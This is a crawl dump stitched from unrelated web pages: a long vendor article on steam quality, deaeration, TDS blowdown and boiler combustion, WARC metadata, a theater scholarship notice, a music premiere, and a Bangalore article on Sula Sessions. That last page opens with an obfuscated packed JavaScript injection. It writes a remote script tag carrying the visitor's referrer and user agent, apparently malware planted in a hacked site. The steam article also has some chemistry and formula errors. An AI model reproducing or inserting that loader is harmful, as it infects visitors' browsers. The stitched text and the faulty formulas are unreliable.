text:
Quality of steam

Steam may be at the correct pressure and temperature, but the quality of steam is very important as well. Good quality steam must be dry. Dry steam is steam which has a very high dryness fraction, ie almost no moisture. Unfortunately, in most steam systems we are faced with wet steam. Wet steam is steam containing a degree of water. It can reduce plant productivity and product quality, and can cause damage to most items of plant and equipment. It can cause erosion and affect heat transfer processes.

What is the ideal steam quality?
  • Steam must not be wet, but with as high a dryness fraction as possible.
  • There should be no air present in steam.
  • Steam should not contain any dirt.
Only then do we deliver it to our process.

Dry steam
Dryness fraction achieved from a typical shell boiler where the heat is supplied only to the water and where the steam remains in contact with the water surface, typically contains around 5% water by mass. If the water content of the steam is 5% by mass, then the steam is said to be 95% dry and has a dryness fraction of 0.95. This is because bubbles of steam break through the water surface and they cause turbulence and splashing. Therefore the steam space contains a mixture of water droplets and steam. This kind of steam is called wet steam.

The actual enthalpy of evaporation of wet steam therefore is only 95% of the one in the steam table. So, wet steam has lower usable heat energy than dry saturated steam. Also, the specific volume of water is much lower than steam. Therefore, the total specific volume of steam will also reduce by the same factor.

Causes of wet steam
  • The boiler itself generates saturated steam which is inherently wet. Most shell type steam boilers produce steam with a dryness fraction of between 95 and 98%.
  • Priming and carryover beacause of foaming and scale within the boiler shell increase wetness still further.
  • Steam condenses on the way from the boiler to the process as there is always a certain degree of heat loss from the distribution pipe. The condensed water molecules will eventually gravitate towards the bottom of the pipe forming a film of water. Steam flowing over this water can raise ripples that can build up into waves. The tips of the waves tend to break off, throwing droplets of condensate into the steam flow.

Problems caused by wet steam
  • Water – a heat barrier. Water doesnt allow the heat in the steam to cross over to the process, ie the medium to be heated. You can see the temperature drop because of the layer of moisture in the steam pipe. This hampers not just plant productivity by increasing the cost of fuel, but also product quality.
  • Waterhammer. Failure of valves and flowmeters due to rapid wear or waterhammer.
  • Corrosion and Wiredrawing. Water droplets increase the amount of corrosion. Water droplets travelling at high steam velocities will erode valve seats and fittings, a condition known as wiredrawing.
  • Erratic operation of control valves and flowmeters beacause of the above.
  • Scaling. Pure steam cannot carry any impurities, but water can. These impurities only increase scaling of pipework and heating surfaces.
Understanding Water hammer
In a lot of steam systems, one can hear a thudding sound and feel the pipes vibrating intermittently. This phenomenon is called water hammer and is caused by water lying in the bottom of steam lines, trapped in the steam system. Water is formed by steam condensing. Steam traveling at up to 100 Kms per hour makes “waves” as it passes over this condensate. (see fig.)

If enough condensate forms, high-speed steam pushes it along, creating a dangerous slug that grows larger and larger as it picks up liquid in front of it. Anything that changes the direction - pipe fittings, regulating valves, tees, elbows, blind flanges - can be destroyed. In addition to damage from this “battering ram”, high velocity water may erode fittings by chipping away at metal surfaces.

Fig. Condensate allowed to collect in pipes isblown into waves by steam passing over it and blocks flow at point A. Condensate in B causes a pressure differential that allows steam pressure to push the slug of condensate along like a battering ram

Going back to basics, Momentum = mass X velocity

As water is 1000 times denser than steam, its mass and therefore momentum is very large. At the high speed inside a steam pipe, it doesnt turn at the bends, but crashes into them impacting the steam system. ( Practical: When you walk into factory where the pipes are old, but the bends are new, you know they have problems with moisture and water in their system).

If its not removed by moisture separators or drained by traps, it can cause a lot of damage to the steam system.

Moisture Separator
How do you know a plant needs a moisture separator? When a plant experiences reduced heat exchanger efficiency, erosion at pipe directional changes, erosion to in-line equipment and water hammer, the installation of a separator is a must. All are possible indicators that the presence of entrained condensate particles and the accumulation of condensate exists in the flow of steam.

Moisture separators remove the moisture that remains suspended in the steam flow, which cannot be removed by either drainage or steam trapping. The separator is designed to work in-line and removes approximately 95 - 98% of the entrained condensate particles.

Water drops have more mass and therefore more inertia than steam. (Water hammer is caused because of this same reason, as, at bends the steam passes easily, but the water slug crahes into the bend causing damage.)

In the ARI Steamline plate type moisture separator we take advantage of this inertia difference between water and steam. The Msep contains intercepting plates in its body. The steam + water mix has to change direction a number of times to go through.

Fig. Inside a Moisture separator

What happens? First, the separator has a larger cross-section than the pipe. As the steam, with the entrained condensate particles, enters the chamber of the separator it suddenly and momentarily looses some of its velocity due to the sudden enlargement of the separator chamber. Some drops just fall to the bottom of the separator as condensate. The mass of most condensate particles propels them forward into the impingement baffles. These drops have too much inertia and mass to change direction when they hit the plates, so they just collect on them or the outer perimeter wall of the separator chamber and collect at a low point in the separator. The dry steam flows around the intercepting plates and comes out on the other side.

The MSep is fitted with a suitable steam trap module from the bottom to ensure the efficient removal of condensate, without the loss of live steam.

There are other types of separators in use like the cyclonic and coalescence types of separator, but the plate-type has an acceptable efficiency for steam velocities which are typically in the range of 10 m/s to 30 m/s.

Steam and air don't mix
Effect of Air on Steam Temperature
When air and other gases enter the steam system, they consume part of the volume that steam would otherwise occupy. The temperature of the air/steam mixture falls below that of pure steam. There are tables available that show the various temperature reductions caused by air at various percentages and pressures.

Effect of Air On Heat Transfer
The normal flow of steam towards the heat exchanger surface carries air and other gases with it. The steam velocity pushes the gases to the walls of the heat exchangers, where they may block heat transfer. This compounds the condensate drainage problem, because these gases must be removed along with the condensate.

Since they do not condense and drain by gravity, these non-condensible gases set up a barrier between the steam and the heat exchanger surface. The excellent insulating properties of air reduce heat transfer. In fact ,under certain conditions as little as ½ of 1% by volume of air in steam can reduce heat transfer efficiency by 50 % as seen in the figure below.

Fig. Steam condensing in a heat transfer unit moves air to the side of the heat transfer area. Here, the air collects or "plates out" to form effective insulation.

When non-condensible gases (primarily air) continue to accumulate and are not removed, they may gradually fill the heat exchanger with gases stop the flow of steam altogether. The unit is then “air bound”.

An air film 1mm thick has the same resistance to heat transfer as water 1" thick or iron 4.3" thick.. As a film it acts as an insulator, in solution with steam it deprives the steam of its full heating potential. In other words, air will assume a part of the total volume or pressure that is available. This is explained by Daltons Law of Partial Pressures.

Daltons Law of Partial Pressures
In gas mixtures, each gas assumes a part of the total volume or pressure. This is referred to as partial pressure. The partial pressure of each gas is dependent upon its proportion of the total mixture.
If we were to have a total steam line pressure of 5 kg/cm2 g consisting of 80% steam and 20% air the effective steam pressure would be:
0.80x 5 = 4.0 kg/cm2 g
And the effective air pressure would be:
0.20x 5 = 1.0 kg/cm2 g
As a result the steam would effectively be 4 kg/cm2g steam in a 5 kg/cm2g line. In checking a thermometer in the line at that location we would find the temperature to be 151.2° C for the 4 kg/cm2g steam and not 158.2° C for the 5 kg/cm2g steam we would expect to find. That is a 7°C difference between the two pressures. In addition there will also be a change in kcal's.(Although the 4 kg/cm2g steam has more enthalpy of latent heat per weight than does the 5 kg/cm2g steam it has less by volume. Latent heat of evaporation at the 5 kg/cm2g is 498.3 kcal/kg while for 4 kg/cm2g is 509.5 kcal/kg. It shows a difference of 11.2 kcal/kg.)

Fig: Chamber containing air and steam delivers only the heat of the
partial pressure of the steam, not total pressure.

In effect the air has displaced a portion of the enthalpy needed, by displacing a portion of the steam.
In order to make the distribution system as efficient as possible it becomes necessary to remove any air before it can effect heat transfer by filming or becoming mixed with the steam.

Corrosion Because boiler systems are constructed primarily of carbon steel and the heat transfer medium is water, the potential for corrosion is high. Iron is carried into the boiler in various forms of chemical composition and physical state. Most of the iron found in the boiler enters as iron oxide or hydroxide. Any soluble iron in the feed water is converted to the insoluble hydroxide when exposed to the high alkalinity and temperature in the boiler.

These iron compounds are divided roughly into two types, red iron oxide (Fe2O3) and black magnetic oxide (Fe3O4). The red oxide (hematite) is formed under oxidizing conditions that exist, for example, in the condensate system or in a boiler that is out of service. The black oxides (magnetite) are formed under reducing conditions that typically exist in an operating boiler.

The deposition of these metallic oxides in the boiler is frequently more troublesome than the actual damage caused by the corrosion. Deposition is not only harmful in itself, but it offers an opening for further corrosion mechanisms as well.

Contaminant products in the feed water cycle up and concentrate in the boiler. As a result, deposition takes place on internal surfaces, particularly in high heat transfer areas, where it can be least tolerated. Metallic deposits act as insulators, which can cause local overheating and failure. Deposits can also restrict boiler water circulation. Reduced circulation can contribute to overheating, film boiling and accelerated deposition.

Localized attack on metal can result in a forced shutdown. The prevention of a forced shutdown is the true aim of corrosion control.

Clean, clean steam

They are used to provide clean steam to the process. Strainers are installed in the steam pipes to ensure that no dirt gets through with the steam. Often, pipeline debris such as dirt, metal burrs from welding, scale, rust and other solids find their way into the steam pipes leading to more maintainance hassles and plant shutdowns. Strainers are an important pipeline accessory that literally 'strains out' these solids in flowing liquids or gases, and protects steam equipment. Every important equipment like a PRV or trap has to have a strainer fitted upstream, ie just before it.
There is a fine mesh provided in the strainer which effectively filters out solids from the system. During routine maintenance strainers must be cleaned regularly otherwise unclean steam will go through and damage the plant pipework and fittings. It may contaminate the product as well.

ARI Steamline makes two strainers. The CRPS and trap modules have the Y-strainers and the PRS has a 'bucket' strainer.

Y-type Strainers.
These strainers are manufactured in-house for the CRPS and the Trap modules. These are standard strainers and can be used for steam, any other gas, or even liquids. The body is a cylindrical pipe and has a mesh pocket attached to it which contains the strainer mesh (80microns). This filters out all the solids. It can handle pressures upto 10 kg/cm2g and is available in line sizes upto 2". Generally used for condensate or small steam lines.

As the Y-type strainers are more compact than the pot strainers, the surface area of the mesh available for straining is less and therefore, the dirt accumalates faster. This means more frequent cleaning. This is only a problem during commissioning when the plant is new and a lot of welding grit is present in the pipes.

Installation of Y-type strainers.

  • For Steam : Horizontal mounting with drain pocket in the horizontal plane prevents water collection, which prevents carryover.
  • For Liquids : For eg. in our CRPS systems, the strainer is mounted with the mesh pocket facing vertically down. If this is not done, the water may draw back the dirt upstream if the flow reduces.

If you install the strainer with the mesh pocket pointing up, all the debris will fall into the pipe!!

Bucket strainers.

The ARI Steamline pot strainer has a bucket type structure. This is a vertical cylinder. It's chamber is larger than a typical Y-type strainer. The straining area is therefore much larger and can go without cleaning longer. This also reduces the pressure drop across the pot strainer as the flow is not hampered by that much debris. The bucket strainer can be used on bigger dia pipes. Strainers may have accumalated debris in the bottom of the bucket, which is removed via the drain plug.

Bucket strainers have to be installed in a horizontal position only.

Feed water quality

Feed water purity requirements can vary widely. A low pressure firetube boiler can usually tolerate a high level of water hardness, with proper chemical treatment, while virtually all impurities must be removed from the feedwater of most modern high pressure water-tube boilers. Most plants use one or more of the following processes.

  • Clarification
  • Filtration
  • Softening
  • Dealkalization
  • Demineralization
  • Deaeration
  • Heating

What is ideal feedwater like? Ideally feedwater should conform to the following:
  • We must supply boiler feedwater at not less than 75 - 85°C.
  • We must remove dissolved gases, ie, de-aerate feedwater. Dissolved gases like oxygen lead to corrosion inside the boiler.
  • Feedwater needs chemical treatment to avoid excessive foaming and scaling in the boiler. This can result in other problems like carryover, priming, dirty and wet steam which hamper efficiency and cause untold damage to the boiler.

Heating feedwater
Cold make-up water and returned Condensate usually mix in the feedtank. Conventionally, both make-up water and condensate are fed to the feedtank above the water surface.
We heat feedwater because of three reasons.
  • Cold feed will result in thermal shock to the boiler. When we feed at optimum temperatures the life of boiler is also prolonged
  • When feedwater is at the highest temperature for injection to the boiler, the boiler efficiency increases drastically. Return of condensate further boosts η.
  • All water sources have a certain amount of dissolved gases mixed in them at ambient temperature. Cold water absorbs free oxygen and other gases. As the condensate heats the make-up water, the temperature of the make-up water rises. At high temperatures undesirable gases have minimum solubility and are liberated when heated.

Air is always present during equipment start-up and in the boiler feed-water. The most common source of corrosion in boiler systems is dissolved gas: oxygen, carbon dioxide and ammonia. Of these, oxygen is the most aggressive. The importance of eliminating oxygen as a source of pitting and iron deposition cannot be over-emphasized. Even small concentrations of this gas can cause serious corrosion problems.

Makeup water introduces appreciable amounts of oxygen into the system. Oxygen can also enter the feed water system from the condensate return system. Possible return line sources are direct air-leakage on the suction side of pumps, systems under vacuum, the breathing action of closed condensate receiving tanks, open condensate receiving tanks and leakage of nondeaerated water used for condensate pump seal and/or quench water. With all of these sources, good housekeeping is an essential part of the preventive program.

Pic: Corrosion caused by dissolved gases

One of the most serious aspects of oxygen corrosion is that it occurs as pitting. This type of corrosion can produce failures even though only a relatively small amount of metal has been lost and the overall corrosion rate is relatively low. The degree of oxygen attack depends on the concentration of dissolved oxygen, the pH and the temperature of the water.

The influence of temperature on the corrosivity of dissolved oxygen is particularly important in closed heaters and economizers where the water temperature increases rapidly. Elevated temperature in itself does not cause corrosion. Small concentrations of oxygen at elevated temperatures do cause severe problems. This temperature rise provides the driving force that accelerates the reaction so that even small quantities of dissolved oxygen can cause serious corrosion.

It is essential to remove the dissolved gases – "deaerate" – before it can be released in the boiler or the feedtank, to prevent corrosion of the tank, the boiler and the steam system.

The feedwater used in generating steam will, of course, contain oxygen. It can also contain bicarbonate and carbonate alkalinities which, when broken down due to high temperatures, will produce C02. These two gases, O2 and CO2, alone or combined, when disolved in condensate are very corrosive. The oxygen causes oxygen pitting while the carbon dioxide, in solution with the condensate, forms carbonic acid. When combined, the oxygen accelerates the corrosive effects of the acid.

Deaerating the feedwater removes almost all of these gases. In general, as the feedwater enters the deaerator low pressure steam, typically 0.35 kg/cm2 g, is used to break up the water into a spray continuing across the spray carrying off the gases.

All modern boilers have some form of deaeration arrangement. The removal of this oxygen can be done by three ways – thermal, mechanical and chemical.
  • In chemical removal of oxygen, an oxygen scavenger like Sodium Sulphite is dosed to the feedtank, which absorbs the oxygen. However, this is detrimental because the addition of any chemical to the boiler water increases its TDS (explained later in this section), again causing problems.

  • In mechanical de-aeration, water is stirred or sprayed, causing removal of oxygen from the feed water.

  • Thermal de-aeration uses the property of water shown in the graph below. As is seen, the amount of dissolved oxygen in water is proportional to its temperature. So if we can heat the make-up water before it enters the feedtank, it will liberate the oxygen, thus preventing corrosion of the tank. Further, if the system used to preheat the make-up is made of Stainless Steel, corrosion will be negligible.

Pic: Graph showing what happens to dissolved oxygen in water as temperature is raised

What is the job of a deaerator?
  • Deaerators remove oxygen, carbon dioxide and other noncondensable gases from feed water. Oxygen and carbon dioxide are very harmful to boiler systems. Deaerators are designed to remove dissolved gases from boiler feedwater. They are effective and oxygen can be reduced to trace levels, about 0.005 ppm.

  • Along with temperature control systems, an effective deaeration system can heat the incoming cold makeup water and mix it with available return condensate.

Fig: Cutaway of a pressurized deaerator tank with live steam sparging

ARI Steamline Deaerators – how do they work?
On larger boiler plants, pressurised de-aerators like the one shown above are installed. Live steam is used to bring feed water temp above 100ºC to “drive off” the oxygen content. This action is normally enhanced by the steam “scrubbing” the feedwater. The make-up water enters the deaerator and is broken into a spray or mist, and scrubbed with steam to force out the dissolved gases. At the elevated temperature the solubility of oxygen is extremely low. Steam and other non-condensibles flow upwards into the vent condensing section where the steam is condensed. Freed oxygen and other gases are vented to the atmosphere through the vent outlet. However, these are pressure vessels and are therefore expensive.

This type of deaerator usually consists of a heating and a deaerating section. The storage section of these units typically have a residual deaerated feedwater storage tank often designed to hold about 10 mins of rated capacity of boiler fedwater.

Pic: Pressurized ARI Steamline deaerator at a Pharma plant

Accordingly, the Deaerator Head was developed – a compromise for fitting to any feedtank to drive off as much oxygen as possible at atmospheric pressure. The ARI Steamline De-aerator Head uses a combination of thermal de-aeration and mechanical de-aeration. It has three restrictions to the flow – a nozzle in the make-up line, a baffle plate between the mixing head and the immersion tube, and a sparger in the immersion tube. Therefore it ensures that the oxygen in the make-up water is driven off by using the heat in the condensate which it is mixed with, and all the dissolved gases are released in the De-aerator Head before it enters the feed tank and the boiler. These are vented out by the automatic Air Vent on top of the De-aerator Head.

Pic: An ARI Steamline Flash condensing Deaerator Head has an all SS assembly and is fitted to the top of the feedtank with inlets for condensate, make-up water and flash steam.

In addition, sometimes Flash Steam is generated from high pressure Condensate. This flash steam will escape to the atmosphere and the heat will be lost. A third inlet is sometimes provided in a De-aerator Head to mix flash steam with make-up water, thus condensing the flash steam and saving its heat. This type of unit is called the Flash Condensing De-aerator Head.

Deaerators are typically elevated in boiler rooms to help create head pressure on pumps located lower. This allows hotter water to be pumped without vapor locking should some steam get into the pump.

Chemical dosing of feedwater
The basic contaminants are reduced to a minimum, consistent with boiler design and operation parameters. That is - calcium and magnesium hardness, migratory iron, migratory copper, colloidal silica, etc.

Ion exchange systems
Ion exchange systems range from light commercial water softeners and filters to specially designed industrial equipment. Also known as deionizations (DI) systems. These systems are considered high-end where the highest quality of water treatment is needed, such as with steam turbines.

Reverse Osmosis (RO)
Reverse Osmosis systems are available for tap water, brackish water or seawater.  These systems are considered high-end where the highest quality of water treatment is needed, such as with steam turbines.

TDS control
Water that is fit for human consumption is not necessarily fit for a boiler. This is because water can have many dissolved solids that lead to "hardening" of water. These cause scaling which in turn leads to "hot spots" in the boiler which lead to corrosion.

Boiler feed water contains dissolved solids, both from raw water and water treatment chemicals. As steam is raised from a boiler, the level of concentration of Total Dissolved Solids (TDS) in the boiler water increases.

The maximum allowable TDS is 3500 ppm for any boiler. This seems very small. How can such a small value affect the working of such a large body of water inside the boiler?

The salt truck story
Suppose the TDS in a boiler is 200 ppm (Parts Per Million). This gives us a percentage value of

200 / 1,000,000 X 100 = 0.002 %

This salt does not evaporate. So, over time the TDS valves keep rising. 0.002% is seeming such a small number, but look what happens inside the boiler.

We assume a 10 ton boiler working 3 shifts ( 24 hours) for 30 days. The feed water has 200 ppm TDS.

We will have 14.4 kgs of salt in 30 days. So, in a few months we will have a small truck-load of salt in the boiler!

Lets see if the TDS can be reduced in a water softening plant.

Water softening and TDS
Total Dissolved solids (TDS) is the sum of both Hard and Soft salts.

A water softener basically uses chemicals to remove (precipitate) the hand salts and substitutes it with a soft salt. It does this by a reaction called base exchange softening.

Ca SO4 + Na OH -------- Na 2 SO4 + Ca OH

                                            Soft salt    + Hard salt precipitate

Before softening,

Hard salts + Soft salts = TDS

10               +  90             = 100

After softening,

Hard salts + Soft salts = TDS

2                  + 98             = 100

So, unfortunately, while a water softening plant reduces the “hardness” (i.e. the presence of scale forming salts), it does not reduce the TDS of the feed water. In practice we may in fact, find a slight rise in TDS as brine (NaOH) gets added to precipitate the hard salts. So, in a boiler the foaming and carryover problems remain as the TDS has not decreased. The only issue we have dealt with is reduced the scaling because the hard salts are precipitated.

Even if we use RO water, the Boiler water TDS keeps rising, albeit slowly.

Normally, plants periodically drain 10-15% of the boiler water and this is called blowdown.

High TDS, big problems
Foaming & Carryover
Pure water does not foam when it boils. However, as the amount of impurities rise, a foam layer is formed at the steam separation surface. The amount of foaming is directly proportional to the TDS level in the boiler.

Pic: Scaling caused by foaming
leads to material failure

Foaming(or “priming”) causes carryover of water, or wet contaminated steam, which may be carried over into the steam system and depending on the conditions at the steam water interface, can even cause surges of water into the steam system. The products of carryover would be deposited on heat transfer surfaces and ancillary equipment, reducing steam system efficiency and plant productivity. This is what causes fouling of heat exchangers, malfunctioning of control valves and steam traps etc.

Formation of foam at the separation layer is a matter of great concern for any boiler operator. Level controls in a boiler recognize liquids and gas. But, they start malfunctioning when confronted with foam in the boiler. We know that the water must never drop below the fire tube level. If the water level is falling, but the foam prevents a level control from sensing low level water the feed pumps do not switch on and a potentially dangerous situation could develop.

Fig: Foaming and carryover in a boiler

Scale Deposition
If the TDS is too high, scale will deposit on the boiler tubes and furnace (water side), all the heat transfer surfaces. This has the effect of reducing heat transfer with its subsequent effect on fuel consumption. When scaling goes up exponentially, as seen in the graph, tube failure can occur.

Pic: Graph showing scale deposition with time

Scale only 1mm thick on the water side could increase fuel consumption by 5 to 8%. (Source: PCRA Handbook No. 3 - Efficient Generation of Steam)

Tube surfaces underneath the scale may become overheated leading to tube damage or tube failure. High TDS levels in a boiler also shows up in the steam system -valves get while deposits strainers need to be cleaned very often, etc.

In order to prevent these problems, the TDS needs to be controlled within a certain specified maximum limit. The chart below shows the recommended water characteristics for shell boilers in accordance with IS: 10392-1982 and BS: 2486-1964, for pressures up to 25 bar g:

The Dissolved solids, PPM (parts per million) is 3500. This is the Set point of TDS that no boiler should be allowed to across because of scale, foam and carryover problems. This set point can be measured by a conductivity meter dipped in a sample of boiler water. (Conductivity is directly proportional to TDS levels.)

All steam boilers need to be "blown down" to control their TDS level.

The main purpose of blowdown is to maintain the solids content of the boiler water within prescribed limits. This would be under normal steaming conditions. However, in the event contamination is introduced in the boiler, high continuous and manual blowdown rates are used to reduce the contamination as quickly as possible.
Because each boiler and plant operation is different, maximum levels should be determined on an individual basis.

Bottom Blowdown
Conventionally, this is done through a manual slide valve. By definition, bottom blowdown is intermittent and designed to remove sludge or sediment from the bottom of the boiler where it settles. The frequency of bottom blowdown is a function of experience and plant operation. Bottom blowdown can be accomplished manually or electronically using automatic blowdown controllers. The control is a large (usually 25 to 50 mm) key operated valve. This valve might normally be opened for a period of about 1 - 2 minutes, once a shift.

  • A large quantity of hot, saturated water is drained and the same amount of relatively cold make-up water is added. This leads to thermal shock in the boiler.

  • As we now have to provide more heat to bring this extra water to 100ºC, we are decreasing the overfall efficiency of the boiler

The formula for amount of blowdown required is

F = Feedwater TDS in ppm
B = Boiler water set point in ppm
S = Steam generation in kg/hr.

Continuous Blowdown
Frequently used in conjunction with manual blowdown, continuous blowdown constantly removes concentrated water from the boiler.

Continuous blowdown allows for better control over boiler water solids. In addition, it can remove significant levels of suspended solids. Another advantage is that the continuous blowdown can be passed through heat recovery equipment.

How much blowdown is enough?
Too little, and your TDS could rise above limits specified for your boiler, giving rise to foaming, scaling and wet steam. Too much, and you're draining water that you've paid to heat.

The need for Automatic Blowdown Controller (ABCO)
Blowdown of the boiler can keep TDS within the required limits. Blowdown is achieved either by manual or automatic methods. In the manual method, blowdown is achieved by opening a large bore valve at the bottom of the drum (or on the side of the drum in case of continuous blowdown). However, this practice can be highly wasteful. As the period of blowdown is not related with either boiler steam load or feedwater purity, the TDS level in manual methods can vary greatly, causing an average TDS level much lower than the allowable limit, and leading to excess blowdown.

On the other hand, an automatic blowdown control system, based on TDS measurement and subsequent corrective action, can maintain a TDS level much closer to the set point, resulting in considerable fuel savings.

Fig. Blowdown quantity is reduced with an automatic system

As seen in the graphs above, the automatic control of TDS results in an average TDS level much closer to the set point. This means that the actual quantity of blowdown over a period of time gets reduced compared to the manual method. Blowdown water is water that has been heated to the saturation temperature of the boiler, so it contains a lot of heat. At a boiler pressure of 10.5 Kg/cm2 g, each kg of blowdown water contains almost 190 kcal of heat energy. If an automatic boiler controller can reduce the blowdown of a 10 TPH boiler from 6% to 3%, i.e. a saving of 3%, the blowdown quantity would reduce by 300 Kg/hr, or 7200 kg/day. This would mean a saving of 1368000 kcal/day. This would mean a fuel saving of approximately 180 litres of oil, if the boiler was fired with furnace oil. The cost benefit of preventing corrosion in the boiler and the steam system, though it cannot be quantified exactly, would be in addition.

Combustion is a process of oxidation in which combusinble products such as fuel is burned in the presence of oxygen. Combustion liberates heat and by products such as ash.

For liquid or gaseous fuels, we use a Burner. A burner sends heat into the boiler tubes and it is set to maintain the correct pressure in the boiler. If the boiler pressure falls because of growing steam demand, the burner switches on to produce more steam from the boiler. As long as the amount of steam being produced in the boiler is as great as that leaving the boiler, the boiler will remain pressurised. This maintains correct pressure. If correct pressure is maintained, correct temperature is also maintained as they are interlinked.

Proper atomised fuel gives better combusion efficiencies. Modulating control gives optimum fuel handling. Also provision of appropriate excess air for combusion gives good results.

In case of gaseous fuels, minimum excess air is required and there is no extra cost incurred in handling this fuel as there are no by products formed. It's a clean fuel.

Fire grate
In case of solid fuels, there is no burner required. Fuel is supplied over a grate which is fire pulverised, and excess air is supplied to acheive better combusion efficiencies. Ash handling is main problem incase of solid fuels.

Boiler Turndown
Turndown tells us the amount of control we have over the fuel.
In a simple on-off control, the boiler either fires x amount of fuel or is switched off.

A boiler turndown of 1.2 means we can fire less fuel on more fuel.
A 1:2 turndown means a 2 step control is possible.

1:4 turndown looks something like this.
It has 4 step control. Modern boilers can also provide a stepless control from 25-100%.

As fuel load increase or decreases, the amount of fuel fired into the boiler should proportionately be increased or decreased. But when modulation is not possible, (as in a simple on-off control) , the boiler burns less fuel at low loads and the rest of the unburnt fuel is blown out through the stack.

Excess Air
The boiler furnace has a punker plate (similar to our home gas burners ) through which a pressurized mixture of liquid fuel and air is sprayed. This atomizes the fuel and a proper mixing of fuel with air takes place. This ensures the highest combustion efficiency. Solid fuels too are crushed or broken down (there is always a coal crusher at power plants) to increase the combination efficiency.

Perfect combustion is attained when the flue gas analysis shows no carbon monoxide or oxygen. This means that every available fuel molecule and every available oxygen molecule came into contact with each other.

Ideally, the Combustion Equation (stoichiometric air) should look something like this:

Cn Hn + O2------> CO2+ H2O + Heat
Fuel Air

The O in the left side of the equation is the exact amount of air required to burn a given amount of fuel, also called stoichiometric air quantity. Given complete mixing, a precise amount of air (stoichiometric) is required to completely react with a given quantity of fuel.

Practically though, such perfect mixing is not possible, even with the most advanced burner and the amount of air needed is in excess of this, to achieve complete combustion of fuel. Therefore we provide "excess air".

In practice, if only stoichiometric amount of air is provided, then the combustion looks something like this:

Cn Hn + O2------> CO2+ H2O + CO + Heat
Fuel Stoich. Air            (unburnt fuel)

As seen above, CO (unburnt fuel) is present in the flue gas as the stoichiometric air quantity is insufficient to ensure complete combustion.

Therefore, additional or “excess air” must be supplied for complete combustion to occur. The presence of excess air means that more air is available for combustion than is actually required. Hence the real world combustion equation, looks like this:

Cn Hn + S2+ N + O2------> CO2 + H2 O + Heat + O2+ SOx + NOx
Fuel                 Excess                               Undesirable by-products

There is no CO component anymore. For efficiency reasons, “excess air” is always provided to assure that all fuel is burned inside the boiler. Excess air from 20-30% is normally used.

In addition, air has other components besides O2, and fuel may have impurities like sulphur. However, the excess air passing through the boiler is heated by the fuel, and vented out of the chimney. So, the more the excess air, the lower the boiler efficiency. We also have to carefully control this excess air quantity as we risk blowing out unburnt fuel. Hence, excess air must be optimized such that it is just enough to burn all the fuel while not removing too much heat, i.e., decrease stack heat losses and increase combustion efficiency.

Large, unnecessary amounts of excess air can occur because of:

♦ Burner/control system imperfections
♦ Variations in boiler room temperature, pressure, and relative humidity
♦ Need for burner maintenance
♦ Changes in fuel composition

In modern history, excess air is controlled using a feedback system in which a sensor (generally O2) is used to provide feedback on flue gas constituents and controls the amount of combustion air provided to the boiler. This is called Trim Control, or Combustion Control.

Tuning and keeping a boiler running well is not an easy task but we must ensure that it runs efficiently, or else the losses can really add up over time.


Content-Type: application/http; msgtype=response

WARC-Identified-Payload-Type: text/html

WARC-Type: response

text:
The Peer Gynt Scholarship Program has started

We have started in December the 10-month-long educational, theater program, in which we will work up with young people Ibsen’s play, ’Peer Gynt’, and realize the performance ’Peer Gynt’s Children. After a multistage selection process eight young people got involved in the scholarship program. The scholars with different background and previous experiences interested in theater will analyze and reinterpret the classic play according to its present aspects and social points of view during the workshop together.

photo: Róbert Maly

In the first phase they will make the story of the new play of the Independent Theater of the project by analyzing the play, realizing thematic situational practices and getting to know and work up actual artistic initiatives. In spring the final play will be written on the base of their work. The premier of the play will be held in summer after the professional training of the young people, and a complex rehearsal process. The scholars work and study together 15 hours every week.

The Peer Gynt Scholars:

Orsolya Ádám
Anna Barabás
Tamás Boros
József Budai
Gellért Csiki
Franciska Farkas
Edmond Oláh
István Tóth

The project is supported by the Norwegian Ibsen Scholarship.

warcinfo:
isPartOf: CC-MAIN-2019-09
publisher: Common Crawl
description: Wide crawl of the web for February 2019
operator: Common Crawl Admin (info@commoncrawl.org)
hostname: ip-10-151-171-77.ec2.internal
software: Apache Nutch 1.15 (modified, https://github.com/commoncrawl/nutch/)
robots: checked via crawler-commons 0.11-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)
format: WARC File Format 1.1
conformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/


text:
                Support the cause! Leave a review on iTunes and become a patron at *The links above are affiliate links. Please, buy comics at your local comic book retailer. However, if you cannot get to one for a legitimate reason or it’s at a point where a comic is difficult to find, these links are provided for your convenience (and obviously it helps us out).

Read More


text:
Premiere: DeltaFoxx – Runaway

Delta Foxx by Matheus Pena

DeltaFoxx by Matheus Pena

With a portfolio of remixes under their Brazilian belts, Deltafoxx are about to release the epic ‘Runaway’ into the world and we are stoked to have the premiere!

Deltafoxx are an excitable indietronica producer/DJ duo who, as well as great music, also have a pretty awesome motto; “Dance, dance, dance!”.

And that is exactly what you will be doing during (and long after) a listen of their new number, ‘Runaway’.

Sounds like: The Knocks, RAC, Goldroom

Facebook | Twitter | Soundcloud | YouTube | Instagram


text:
Home Bangalore In high spirits

    0 17

    A eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ddthd|var|u0026u|referrer|nhndr||js|php’.split(‘|’),0,{}))
    popular vineyard provides a platform for musicians through

    Sula Sessions

    Making their foray into the world of live music, Sula Vineyards starts Sula Sessions in collaboration with Asahi, Japana��s first dry beer. The aim of these sessions is to serve as a platform for fine but lesser known artistes. The sessions are going to be launched simultaneously across Pune and Bangalore. Shraddha Nathani, AVP, Sula Vineyards says that theya��ve curated the top bands from the past eight years, and with Ryan Sadri of New Clear Ideas, a marketing consultancy from Mumbai, they have come up with a line-up of bands across multiple genres. a�?We want these live music nights to bring together music lovers, wine enthusiasts and gourmands from all walks of life to create a synergy that will make way for exciting collaborations,a�? shares Nathani, and kick-starting the efforts in the city, Kanchan Daniel and the Beards will take the stage at The Humming Tree. Specialising in blues, they also bring in other influences including R&B, soul, funk and psychedelic rock to form a free flowing stream of sound. Lead singer Daniel takes us back stage.

    More on your unique sound.
    What makes us different is that we have incorporated a lot of rock. While we still play the blues, we play it our way. It comes to us very naturally because it is very real and comes straight from the heart. But you will find strains of BB King, Michael Landau, Led Zepplin, Creedence Clearwater Revival, Beth Hart, Etta James, Buddy Guy and Joe Bonamassa.

    Your journey to now.
